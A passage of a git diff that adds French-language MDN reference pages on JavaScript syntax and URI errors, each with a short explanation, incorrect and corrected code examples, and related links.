+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La méthode {{jsxref("Function()")}} a été utilisée avec au moins deux arguments. Le dernier argument correspond au code source de la nouvelle fonction qui est créée. Les autres arguments sont la liste des arguments passés à la fonction.</p>
+
+<p>C'est cette liste d'arguments qui est, pour une certaine raison, invalide. Il s'agit peut-être d'un mot-clé (<code>if</code> ou <code>var</code> par exemple) utilisé comme un nom d'argument, ou d'un signe de ponctuation mal placé. Il peut également s'agir d'une valeur invalide comme un nombre ou un objet.</p>
+
+<h2 id="OK_mais_pourquoi_cette_formulation_étrange">OK mais pourquoi cette formulation étrange ?</h2>
+
+<p>En effet, "Formal parameter" est une manière étrange de dire  « argument de fonction ». Le mot "malformed" (malformé) est utilisé car les ingénieurs travaillant sur Firefox engineers apprécient énormément les romans gothiques du XIX<sup>e</sup>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">var f = Function("x y", "return x + y;");
+// SyntaxError (virgule manquante)
+
+var f = Function("x,", "return x;");
+// SyntaxError (virgule mal placée)
+
+var f = Function(37, "console.log('OK')");
+// SyntaxError (des nombres ne peuvent être des noms)
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good"> // Ponctuation correcte
+var f = Function("x, y", "return x + y;");
+
+var f = Function("x", "return x;");
+
+// Voici une alternative plus rapide
+// si vous pouvez éviter Function
+var f = function (x) { return x; };
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Le chapitre du Guide JavaScript sur les fonctions</a></li>
+ <li><a href="https://www.gutenberg.org/ebooks/84"><em>Frankenstein</em> par Mary Wollstonecraft Shelley</a> ("<em>Cursed (although I curse myself) be the hands that formed you! You have made me wretched beyond expression. You have left me no power to consider whether I am just to you or not. Begone! Relieve me from the sight of your detested form.</em>")</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/malformed_uri/index.html b/files/fr/web/javascript/reference/erreurs/malformed_uri/index.html
new file mode 100644
index 0000000000..7226c9467e
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/malformed_uri/index.html
@@ -0,0 +1,66 @@
+---
+title: 'URIError: malformed URI sequence'
+slug: Web/JavaScript/Reference/Erreurs/Malformed_URI
+tags:
+  - Erreurs
+  - JavaScript
+  - URIError
+translation_of: Web/JavaScript/Reference/Errors/Malformed_URI
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">URIError: The URI to be encoded contains invalid character (Edge)
+URIError: malformed URI sequence (Firefox)
+URIError: URI malformed (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("URIError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il y a eu une erreur lors de l'encodage ou du décodage de l'URI. Un argument fourni à {{jsxref("decodeURI")}}, {{jsxref("encodeURI")}}, {{jsxref("encodeURIComponent")}} ou à {{jsxref("decodeURIComponent")}} n'était pas valide et la fonction concernée n'a pas pu encoder ou décoder la valeur correctement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Encodage">Encodage</h3>
+
+<p>L'encodage permet de remplacer certains caractères par une, deux, trois voire quatre séquences d'échappement qui représente l'encodage UTF-8 du caractère. Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère <em>surrogate</em> qui ne fait pas partie d'une paire de codets :</p>
+
+<pre class="brush: js example-bad">encodeURI('\uD800');
+// "URIError: malformed URI sequence"
+
+encodeURI('\uDFFF');
+// "URIError: malformed URI sequence"
+</pre>
+
+<p>En revanche, si on dispose de la paire de codets :</p>
+
+<pre class="brush: js example-good">encodeURI('\uD800\uDFFF');
+// "%F0%90%8F%BF"</pre>
+
+<h3 id="Décodage">Décodage</h3>
+
+<p>Le décodage permet de remplacer chaque séquence d'échappement dans le composant encodé par le caractère qu'elle représente. S'il n'existe aucun caractère correspondant, une exception sera déclenchée :</p>
+
+<pre class="brush: js example-bad">decodeURIComponent('%E0%A4%A');
+// "URIError: malformed URI sequence"
+</pre>
+
+<p>Avec la valeur d'entrée correcte, on a généralement quelque chose qui ressemble à :</p>
+
+<pre class="brush: js example-good">decodeURIComponent('JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B');
+// "JavaScript_шеллы"</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("URIError")}}</li>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html b/files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html
new file mode 100644
index 0000000000..f27872f633
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: missing ] after element list'
+slug: Web/JavaScript/Reference/Erreurs/Missing_bracket_after_list
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ] after element list
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il y a une erreur dans le littéral de tableau qui est uilisé. Il manque un crochet fermant ("<code>]</code>") ou une virgule qui sépare les éléments.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Littéraux_de_tableaux_incomplets">Littéraux de tableaux incomplets</h3>
+
+<pre class="brush: js example-bad">var liste = [1, 2,
+
+var instruments = [
+  "Ukulele",
+  "Guitare",
+  "Piano"
+};
+
+var data = [{toto: "truc"} {titi: "bidule"}];
+</pre>
+
+<p>Les versions correctes seraient :</p>
+
+<pre class="brush: js example-good">var liste = [1, 2];
+
+var instruments = [
+ "Ukulele",
+ "Guitare",
+ "Piano"
+];
+
+var data = [{toto: "truc"}, {titi: "bidule"}];</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html b/files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html
new file mode 100644
index 0000000000..8b03eb22a3
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html
@@ -0,0 +1,77 @@
+---
+title: 'SyntaxError: missing : after property id'
+slug: Web/JavaScript/Reference/Erreurs/Missing_colon_after_property_id
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ':' (Edge)
+SyntaxError: missing : after property id (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Lorsqu'on crée un objet en utilisant un <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">initialisateur d'objet</a>, il faut utiliser un deux-points ( : ) afin de séparer les clés des valeurs pour les propriétés de l'objet.</p>
+
+<pre class="brush: js">var obj = { cleDeLaPropriete: 'valeur' };
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Deux-points_et_signe_égal">Deux-points et signe égal</h3>
+
+<p>Le code qui suit provoquera une erreur car on utilise un signe égal (=) à la place du deux-points.</p>
+
+<pre class="brush: js example-bad">var obj = { cleDeLaPropriete = 'valeur' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>Pour corriger ce problème, on peut utiliser un deux-points ou bien affecter la nouvelle propriété après avoir créé l'objet :</p>
+
+<pre class="brush: js example-good">var obj = { cleDeLaPropriete: 'valeur' };
+
+// ou encore :
+
+var obj = { };
+obj['cleDeLaPropriete'] = 'valeur';
+</pre>
+
+<h3 id="Propriétés_vides">Propriétés vides</h3>
+
+<p>On ne peut pas créer de propriétés vides de cette façon :</p>
+
+<pre class="brush: js example-bad">var obj = { cleDeLaPropriete; };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>Si vous souhaitez définir une propriété sans valeur, vous pouvez utiliser le mot-clé {{jsxref("null")}} :</p>
+
+<pre class="brush: js example-good">var obj = { cleDeLaPropriete: null };</pre>
+
+<h3 id="Propriétés_calculées">Propriétés calculées</h3>
+
+<p>Si vous souhaitez créer une clé de propriété à partir d'une expression, il faudra utiliser des crochets pour encadrer l'expression (sinon le nom de la propriété ne pourra pas être calculé) :</p>
+
+<pre class="brush: js example-bad">var obj = { 'tr'+'uc': 'toto' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>Pour corriger l'erreur, il faudra placer l'expression entre crochets :</p>
+
+<pre class="brush: js example-good">var obj = { ['tr'+'uc']: 'toto' };</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">Initialisateur d'objet</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html b/files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html
new file mode 100644
index 0000000000..1a69b9696b
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html
@@ -0,0 +1,67 @@
+---
+title: 'SyntaxError: missing } after function body'
+slug: Web/JavaScript/Reference/Erreurs/Missing_curly_after_function_body
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected '}' (Edge)
+SyntaxError: missing } after function body (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il y a une erreur de syntaxe près d'une création de fonction. Dans ce cas, il est préférable de vérifier que les parenthèses et accolades fermantes sont bien présentes et dans le bon ordre. Indenter et formater le code peut vous aider à vous y retrouver parmi les éventuels différents niveaux d'imbrication.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Oubli_d'une_accolade_fermante">Oubli d'une accolade fermante</h3>
+
+<p>La plupart du temps, il s'agit d'une accolade manquante dans le code de la fonction :</p>
+
+<pre class="brush: js example-bad">var charge = function() {
+  if (soleil) {
+    utiliserPanneauSolaire();
+  } else {
+    utiliserVelo();
+};
+</pre>
+
+<p>La forme correcte est :</p>
+
+<pre class="brush: js example-good">var charge = function() {
+  if (soleil) {
+    utiliserPanneauSolaire();
+  } else {
+    utiliserVelo();
+  }
+};</pre>
+
+<p>Une erreur de ce type peut être moins visible lorsqu'on utilise les fonctions qui sont appelées immédiatement, <a href="/fr/docs/Web/JavaScript/Closures">les fermetures</a> ou d'autres formes qui utilisent de nombreuses parenthèses et/ou accolades comme par exemple :</p>
+
+<pre class="brush: js example-bad">(function() { if (true) { return false; } );
+</pre>
+
+<p>Généralement, mettre en forme et vérifier l'indentation permet de repérer ces erreurs.</p>
+
+<pre class="brush: js example-good">(function() {
+  if (true) {
+    return false;
+  }
+});</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Les fonctions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html b/files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html
new file mode 100644
index 0000000000..52052eff14
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html
@@ -0,0 +1,52 @@
+---
+title: 'SyntaxError: missing } after property list'
+slug: Web/JavaScript/Reference/Erreurs/Missing_curly_after_property_list
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected '}' (Edge)
+SyntaxError: missing } after property list (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il y a une coquille dans le <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">littéral objet</a> utilisé. Cela peut être dû à une accolade manquante ou à une virgule manquante. Il est aussi utile de vérifier que les accolades et les parenthèses sont bien ordonnées. Pour ce type d'erreur, une bonne indentation permet de repérer plus facilement la coquille parmi les lignes de code.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Une_virgule_oubliée">Une virgule oubliée</h3>
+
+<p>Il arrive parfois que ce soit une virgule absente dans le littéral qui entraîne cette erreur :</p>
+
+<pre class="brush: js example-bad">var obj = {
+  a: 1,
+  b: { maProp: 2 }
+  c: 3
+};
+</pre>
+
+<p>La version correcte correspondante est :</p>
+
+<pre class="brush: js example-good">var obj = {
+  a: 1,
+  b: { maProp: 2 },
+  c: 3
+};
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">Les littéraux objets</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html b/files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html
new file mode 100644
index 0000000000..e194e8cbda
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html
@@ -0,0 +1,77 @@
+---
+title: 'SyntaxError: missing formal parameter'
+slug: Web/JavaScript/Reference/Erreurs/Missing_formal_parameter
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: missing formal parameter (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>« <em>Formal parameter</em> » (ou « paramètre formel ») est une façon de désigner un paramètre d'une fonction. Ici, certains des paramètres de la fonction sont invalides. Lorsqu'on déclare une fonction, les paramètres doivent être des identifiants et non des valeurs (telles que des nombres, des chaînes de caractères ou des objets). La déclaration et l'appel de la fonction forment deux étapes distinctes. Les déclarations utilisent uniquement des identifiants comme paramètres. Lorsqu'on appelle une fonction, on fournit les valeurs à utiliser.</p>
+
+<p>En JavaScript, les identifiants peuvent contenir n'importe quel caractère alphanumérique (ou "$" or "_") et ne doivent pas commencer par un nombre. Un identifiant n'est pas une chaîne de caractères, une chaîne de caractères est une donnée alors qu'un identifiant fait partie du code.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Lorsqu'on définit une fonction, les paramètres doivent être des identifiants. Aucune des fonctions suivantes ne répond à ce critère (elles lèvent donc toutes une erreur) car elles utilisent des valeurs :</p>
+
+<pre class="brush: js example-bad highlight:[1,6,11]">function carre(3) {
+  return nombre * nombre;
+};
+// SyntaxError: missing formal parameter
+
+function salutation("Coucou") {
+  return salut;
+};
+// SyntaxError: missing formal parameter
+
+function log({ obj: "value"}) {
+  console.log(arg)
+};
+// SyntaxError: missing formal parameter
+</pre>
+
+<p>Il faut utiliser des identifiants lors de la déclaration des fonctions :</p>
+
+<pre class="brush: js example-good highlight:[1,5,9]">function carre(nombre) {
+  return nombre * nombre;
+};
+
+function salutation(salut) {
+  return salut;
+};
+
+function log(arg) {
+  console.log(arg)
+};</pre>
+
+<p>Ensuite, on pourra appeler ces fonctions avec les arguments voulus :</p>
+
+<pre class="brush: js">carre(2); // 4
+salutation("Coucou"); // "Coucou"
+log({obj: "value"});  // Object { obj: "value" }
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres erreurs relatives aux paramètres formels :
+  <ul>
+   <li><a href="/fr/docs/Web/JavaScript/Reference/Errors/Malformed_formal_parameter">SyntaxError: Malformed formal parameter</a></li>
+   <li><a href="/fr/docs/Web/JavaScript/Reference/Errors/Redeclared_parameter">SyntaxError: redeclaration of formal parameter "x"</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html b/files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html
new file mode 100644
index 0000000000..60a5c519be
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html
@@ -0,0 +1,59 @@
+---
+title: 'SyntaxError: missing = in const declaration'
+slug: Web/JavaScript/Reference/Erreurs/Missing_initializer_in_const
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Const must be initalized (Edge)
+SyntaxError: missing = in const declaration (Firefox)
+SyntaxError: Missing initializer in const declaration (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une constante est une valeur qui ne peut pas être modifiée par le programme pendant l'exécution. Elle ne peut pas être changée avec une réaffectation ou une redéclaration. En JavaScript, les constantes sont déclarées grâce au mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code>. Il est également nécessaire de fournir une valeur d'initialisation dans l'instruction où on déclare la constante (ce qui est logique vu qu'on ne peut pas la modifier ensuite).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Valeur_d'initialisation_manquante">Valeur d'initialisation manquante</h3>
+
+<p>À la différence de <code>var</code> ou de <code>let</code>, il est nécessaire d'indiquer une valeur lors de la déclaration. Si aucune valeur n'est indiquée, une exception sera levée :</p>
+
+<pre class="brush: js example-bad">const COLUMNS;
+// SyntaxError: missing = in const declaration</pre>
+
+<h3 id="Résoudre_le_problème">Résoudre le problème</h3>
+
+<p>On a le choix entre plusieurs options pour résoudre ce problème. Il faut comprendre le rôle de la constante en question.</p>
+
+<h4 id="Ajouter_une_valeur_constante">Ajouter une valeur constante</h4>
+
+<p>On peut indiquer la valeur de la constante dans la même instruction :</p>
+
+<pre class="brush: js example-good">const COLONNES = 80;</pre>
+
+<h4 id="const_let_ou_var"><code>const</code>, <code>let</code> ou <code>var</code> ?</h4>
+
+<p><code>const</code> ne doit pas être utilisé si on ne souhaite pas déclarer de constante. Peut-être qu'on souhaite simplement déclarer une variable avec une portée de bloc grâce à <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> ou une variable globale avec <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code>. Ces deux instructions ne nécessitent pas de valeur initiale.</p>
+
+<pre class="brush: js example-good">let colonnes;
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html b/files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html
new file mode 100644
index 0000000000..6001e9ac34
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html
@@ -0,0 +1,69 @@
+---
+title: 'SyntaxError: missing name after . operator'
+slug: Web/JavaScript/Reference/Erreurs/Missing_name_after_dot_operator
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: missing name after . operator
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>L'opérateur <code>.</code> (le point) est utilisé pour <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">accéder aux propriétés d'un objet</a>. Il est nécessaire d'indiquer le nom de la propriété à laquelle on souhaite accéder. Pour les propriétés dont le nom est calculé, il est préférable d'utiliser les crochets pour encadrer le nom. Cela permet de calculer une expression dont le résultat sera le nom de la propriété recherchée. Peut-être cherchiez-vous à utiliser l'opérateur de concaténation ? C'est l'opérateur <code>+</code> qu'il faut utiliser dans ce cas. Pour plus de détails, voir les exemples ci-après.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Accéder_à_une_propriété">Accéder à une propriété</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">Pour accéder à une propriété</a> en JavaScript, on utilise le point (.) ou les crochets (<code>[]</code>) mais pas une combinaison des deux. Les crochets sont notamment utiles lorsqu'on souhaite accéder à des propriétés dont le nom est calculé.</p>
+
+<pre class="brush: js example-bad">var obj = { toto: { truc: "bidule", machin2: "bidule2" } };
+var i = 2;
+
+obj.[toto].[truc]
+// SyntaxError: missing name after . operator
+
+obj.toto."machin"+i;
+// SyntaxError: missing name after . operator
+</pre>
+
+<p>Pour corriger ce fragment de code, on pourra accéder aux propriétés de la façon suivante :</p>
+
+<pre class="brush: js example-good">obj.toto.truc; // "bidule"
+// ou autrement
+obj["toto"]["truc"]; // "bidule"
+
+// pour les propriétés dont le
+// nom est calculé, il faut les
+// crochets
+obj.toto["machin" + i]; // "bidule2"
+</pre>
+
+<h3 id="Accéder_à_une_propriété_ou_concaténer">Accéder à une propriété ou concaténer ?</h3>
+
+<p>Si vous avez l'habitude de développer en utilisant un autre langage de programmation tel que {{Glossary("PHP")}}, il est possible de mélanger certains opérateurs et d'utiliser le point comme opérateur de concaténation, qui est l'opérateur <code>+</code> en JavaScript :</p>
+
+<pre class="brush: js example-bad">console.log("Coucou " . "monde");
+
+// SyntaxError: missing name after . operator</pre>
+
+<p>À la place, on écrira :</p>
+
+<pre class="brush: js example-good">console.log("Coucou " + "monde");</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">Les accesseurs de propriété</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html b/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html
new file mode 100644
index 0000000000..fad9106a6b
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html
@@ -0,0 +1,56 @@
+---
+title: 'SyntaxError: missing ) after argument list'
+slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_argument_list
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ')' (Edge)
+SyntaxError: missing ) after argument list (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p> </p>
+
+<p>Il y a une erreur avec la façon dont une fonction est appelée . Cela peut être une faute de frappe, un opérateur manquant, ou une chaîne non-échappée, par exemple .</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Parce qu'il n'y a pas d'opérateur "+" pour concaténer la chaîne de caractères, JavaScript s'attend à trouver une parenthèse après "PI : ", qu'il considère comme  l'argument de la fonction <code>log. </code></p>
+
+<pre class="brush: js example-bad">console.log("PI: " Math.PI);
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>La fonction <code>log</code> peut être corrigée en ajoutant un opérateur "+".</p>
+
+<pre class="brush: js example-good">console.log("PI: " + Math.PI);
+// "PI: 3.141592653589793"</pre>
+
+<h3 id="Chaînes_non_terminées">Chaînes non terminées</h3>
+
+<pre class="brush: js example-bad">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\");
+// SyntaxError: missing ) after argument list</pre>
+
+<p>Dans cet exemple, le moteur JavaScript considère qu'on souhaitait avoir <code>);</code> dans la chaîne de caractères et l'ignore. Aussi, le moteur considère que l'appelle à <code>console.log</code> n'est pas terminé et qu'il manque une parenthèse fermante. Pour corriger ce problème, on peut rajouter une quote <code>'</code> après la chaîne de caractères <code>"Script"</code> :</p>
+
+<pre class="brush: js example-good">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"');
+// '"Java" + "Script" = "JavaScript"'
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html b/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html
new file mode 100644
index 0000000000..c33118256e
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html
@@ -0,0 +1,70 @@
+---
+title: 'SyntaxError: missing ) after condition'
+slug: Web/JavaScript/Reference/Erreurs/Missing_parenthesis_after_condition
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ')' (Edge)
+SyntaxError: missing ) after condition (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il y a une erreur pour la condition écrite dans l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if</a></code>. Pour chaque langage de programmation, on utilise des instructions pour choisir quel bloc d'instructions exécuter selon les différentes entrées. L'instruction <code>if</code> permet d'exécuter une instruction si une condition donnée est vérifiée. En JavaScript, il faut que cette condition apparaisse entre parenthèses après le mot-clé  <code>if</code> :</p>
+
+<pre class="brush: js">if (condition) {
+  // faire quelque chose si la condition est vraie
+}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Il s'agit peut-être simplement d'une coquille et il suffit alors de vérifier les parenthèses (ou plutôt leur absence) :</p>
+
+<pre class="brush: js example-bad">if (3 &gt; Math.PI {
+  console.log("Pardon ?");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>Pour corriger ce fragment de code, on ajoutera une parenthèse pour fermer la condition :</p>
+
+<pre class="brush: js example-good">if (3 &gt; Math.PI) {
+  console.log("Pardon ?");
+}</pre>
+
+<p>Si vous avez l'habitude d'utiliser un autre langage de programmation, peut-être avez-vous utilisé un mot-clé qui n'existe pas en JavaScript ?</p>
+
+<pre class="brush: js example-bad">if (done is true) {
+ console.log("we are done!");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>Pour corriger cette erreur, on utilisera <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">un opérateur de comparaison</a> correct :</p>
+
+<pre class="brush: js example-good">if (done === true) {
+ console.log("Et voilà !");
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if...else</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">Les opérateurs de comparaisons</a></li>
+ <li>
+  <p><a href="/fr/docs/Learn/JavaScript/Building_blocks/conditionals">Choisir quel code exécuter : les structures conditionnelles</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html b/files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html
new file mode 100644
index 0000000000..ac9f8feb15
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html
@@ -0,0 +1,83 @@
+---
+title: 'SyntaxError: missing ; before statement'
+slug: Web/JavaScript/Reference/Erreurs/Missing_semicolon_before_statement
+tags:
+  - Erreurs
